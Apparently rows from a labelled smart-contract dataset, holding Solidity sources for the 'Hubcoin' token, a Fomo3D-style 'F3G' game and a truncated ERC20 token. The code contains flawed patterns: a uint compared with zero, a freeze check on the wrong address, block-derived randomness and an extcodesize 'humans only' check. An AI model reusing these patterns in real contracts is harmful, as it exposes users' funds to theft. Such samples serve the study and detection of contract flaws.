function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract Hubcoin is StandardToken, Pausable {
string public constant name = 'Hubcoin';
string public constant symbol = 'HUB';
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 326804 * 10**uint256(decimals);
uint256 public constant total_freeze_term = 86400*365;
uint256 public constant launch_date = 1501545600;
uint256 public constant owner_freeze_start = 1506696606;
uint256 public constant owner_freeze_term = 3600*24;
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
event Burn(address burner, uint256 burned);
function Hubcoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (owner_freeze_start + owner_freeze_term));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _from, uint256 _value) returns (bool) {
uint forbiddenPremine = launch_date - block.timestamp + total_freeze_term;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(balances[_from] >= _value.add( frozenAccount[_from] * forbiddenPremine / total_freeze_term) );
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 1 | 3,648 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library F3GDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 R3Amount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint256 aff1sum;
uint256 aff2sum;
uint256 aff3sum;
uint256 aff4sum;
uint256 aff5sum;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
uint256 prevres;
}
struct TeamFee {
uint256 gen;
uint256 dev;
}
struct PotSplit {
uint256 gen;
uint256 dev;
}
}
library F3GKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract F3G {
using SafeMath for *;
using F3GKeysCalc for uint256;
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
mapping(address => uint256) private g_users ;
function initUsers() private {
g_users[msg.sender] = 9 ;
uint256 pId = G_NowUserId;
pIDxAddr_[msg.sender] = pId;
plyr_[pId].addr = msg.sender;
}
modifier isAdmin() {
uint256 role = g_users[msg.sender];
require((role==9), "Must be admin.");
_;
}
modifier isHuman {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Humans only");
_;
}
address public commAddr_ = address(0x9e27E6b1219dDd2419C278C5B3D74169F6900F4d);
address public devAddr_ = address(0xe6CE2a354a0BF26B5b383015B7E61701F6adb39C);
address public affiAddr_ = address(0x08F521636a2B117B554d04dc9E54fa4061161859);
address public partnerAddr_ = address(0xD4c195777FB7856391390307BAbefA044DaD8DC1);
bool public activated_ = false;
modifier isActivated() {
require(activated_ == true, "its not active yet.");
_;
}
function activate() isAdmin() public {
require(address(commAddr_) != address(0x0), "Must setup commAddr_.");
require(address(devAddr_) != address(0x0), "Must setup devAddr_.");
require(address(partnerAddr_) != address(0x0), "Must setup partnerAddr_.");
require(address(affiAddr_) != address(0x0), "Must setup affiAddr_.");
require(activated_ == false, "Only once");
activated_ = true ;
rID_ = 1;
round_[1].strt = now ;
round_[1].end = round_[1].strt + rndMax_;
}
string constant public name = "Fomo 3G Official";
string constant public symbol = "F3G";
uint256 constant private rndInc_ = 1 minutes;
uint256 constant private rndMax_ = 5 hours;
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "Too little");
require(_eth <= 100000000000000000000000, "Too much");
_;
}
uint256 public G_NowUserId = 1000;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => F3GDatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3GDatasets.PlayerRounds)) public plyrRnds_;
uint256 public rID_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (uint256 => F3GDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3GDatasets.TeamFee) public fees_;
mapping (uint256 => F3GDatasets.PotSplit) public potSplit_;
constructor() public {
fees_[0] = F3GDatasets.TeamFee(36,3);
fees_[1] = F3GDatasets.TeamFee(43,3);
fees_[2] = F3GDatasets.TeamFee(66,3);
potSplit_[0] = F3GDatasets.PotSplit(21,3);
potSplit_[1] = F3GDatasets.PotSplit(29,3);
potSplit_[2] = F3GDatasets.PotSplit(36,3);
initUsers();
}
function() isActivated() isHuman() isWithinLimits(msg.value) public payable {
F3GDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _team = 2;
buyCore(_pID, 0, _team, _eventData_);
}
function buy(uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable {
F3GDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affCode = plyr_[_pID].laff;
require(_affCode != 0, "must registration before");
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function reLoadXid(uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public {
F3GDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affCode = plyr_[_pID].laff;
require(_affCode != 0, "must registration before");
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function withdraw() isActivated() isHuman() public {
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && (round_[_rID].ended == false) && round_[_rID].plyr != 0){
F3GDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onWithdrawAndDistribute(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}else{
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit onWithdraw(
_pID,
msg.sender,
plyr_[_pID].name,
_eth,
_now
);
}
}
function register(uint256 _affCode) isHuman() public payable{
require(msg.value == 0, "registration fee is 0 ether, please set the exact amount");
require(_affCode != 0, "error aff code");
require(plyr_[_affCode].addr != address(0x0), "error aff code");
G_NowUserId = G_NowUserId.add(1);
address _addr = msg.sender;
pIDxAddr_[_addr] = G_NowUserId;
plyr_[G_NowUserId].addr = _addr;
plyr_[G_NowUserId].laff = _affCode;
uint256 _affID1 = _affCode;
uint256 _affID2 = plyr_[_affID1].laff;
uint256 _affID3 = plyr_[_affID2].laff;
uint256 _affID4 = plyr_[_affID3].laff;
uint256 _affID5 = plyr_[_affID4].laff;
plyr_[_affID1].aff1sum = plyr_[_affID1].aff1sum.add(1);
plyr_[_affID2].aff2sum = plyr_[_affID2].aff2sum.add(1);
plyr_[_affID3].aff3sum = plyr_[_affID3].aff3sum.add(1);
plyr_[_affID4].aff4sum = plyr_[_affID4].aff4sum.add(1);
plyr_[_affID5].aff5sum = plyr_[_affID5].aff5sum.add(1);
}
function getBuyPrice() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now ;
if(_rID == 1 && _now < round_[_rID].strt ) return (0);
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) {
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0){
if (round_[_rID].plyr == _pID){
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
return
(
(plyr_[_pID].win).add( ((_pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) {
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
return( ((((round_[_rID].mask).add(((((_pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo() public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) {
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].end,
((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256){
uint256 _rID = rID_;
if (_addr == address(0)) {
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return (
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3GDatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}else{
if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onBuyAndDistribute(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3GDatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
}else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onReLoadAndDistribute(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3GDatasets.EventReturns memory _eventData_) private{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000){
uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000) {
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000){
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000){
airDropTracker_++;
if (airdrop() == true){
uint256 _prize;
if (_eth >= 10000000000000000000){
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}else if(_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
}else if(_eth >= 100000000000000000 && _eth < 1000000000000000000){
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) {
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256){
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys) public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(F3GDatasets.EventReturns memory _eventData_) private returns (F3GDatasets.EventReturns) {
uint256 _pID = pIDxAddr_[msg.sender];
return _eventData_ ;
}
function verifyTeam(uint256 _team) private pure returns (uint256) {
if (_team < 0 || _team > 2)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3GDatasets.EventReturns memory _eventData_) private returns (F3GDatasets.EventReturns) {
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return _eventData_ ;
}
function endRound(F3GDatasets.EventReturns memory _eventData_) private returns (F3GDatasets.EventReturns) {
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(3)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _dev = (_pot.mul(potSplit_[_winTID].dev)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_dev);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0){
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if(_com>0) {
commAddr_.transfer(_com);
_com = 0 ;
}
if(_dev > 0) {
devAddr_.transfer(_dev);
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.R3Amount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndMax_);
round_[_rID].prevres = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast) private {
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0){
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID) private {
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop() private view returns(bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeRef(uint256 _eth, uint256 _affID) private{
uint256 _allaff = (_eth.mul(15)).div(100);
uint256 _affID1 = _affID;
uint256 _affID2 = plyr_[_affID1].laff;
uint256 _affID3 = plyr_[_affID2].laff;
uint256 _affID4 = plyr_[_affID3].laff;
uint256 _affID5 = plyr_[_affID4].laff;
uint256 _aff = 0;
if (_affID1 != 0) {
_aff = (_eth.mul(5)).div(100);
_allaff = _allaff.sub(_aff);
plyr_[_affID1].aff = _aff.add(plyr_[_affID1].aff);
}
if (_affID2 != 0) {
_aff = (_eth.mul(2)).div(100);
_allaff = _allaff.sub(_aff);
plyr_[_affID2].aff = _aff.add(plyr_[_affID2].aff);
}
if (_affID3 != 0) {
_aff = (_eth.mul(1)).div(100);
_allaff = _allaff.sub(_aff);
plyr_[_affID3].aff = _aff.add(plyr_[_affID3].aff);
}
if (_affID4 != 0) {
_aff = (_eth.mul(2)).div(100);
_allaff = _allaff.sub(_aff);
plyr_[_affID4].aff = _aff.add(plyr_[_affID4].aff);
}
if (_affID5 != 0) {
_aff = (_eth.mul(5)).div(100);
_allaff = _allaff.sub(_aff);
plyr_[_affID5].aff = _aff.add(plyr_[_affID5].aff);
}
if(_allaff > 0 ){
affiAddr_.transfer(_allaff);
}
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3GDatasets.EventReturns memory _eventData_)
private returns(F3GDatasets.EventReturns){
uint256 _comm = (_eth.mul(3)).div(100);
if (_comm > 0) {
commAddr_.transfer(_comm);
}
distributeRef(_eth, _affID);
uint256 _partner = (_eth.mul(2)).div(100);
partnerAddr_.transfer(_partner);
uint256 _dev = (_eth.mul(fees_[_team].dev)).div(100);
if(_dev>0){
devAddr_.transfer(_dev);
}
return (_eventData_) ;
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3GDatasets.EventReturns memory _eventData_)
private returns(F3GDatasets.EventReturns) {
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(21)) / 100).add((_eth.mul(fees_[_team].dev)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) {
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID) private returns(uint256) {
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0){
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3GDatasets.EventReturns memory _eventData_) private {
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit onEndTx(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
} | 1 | 2,608 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
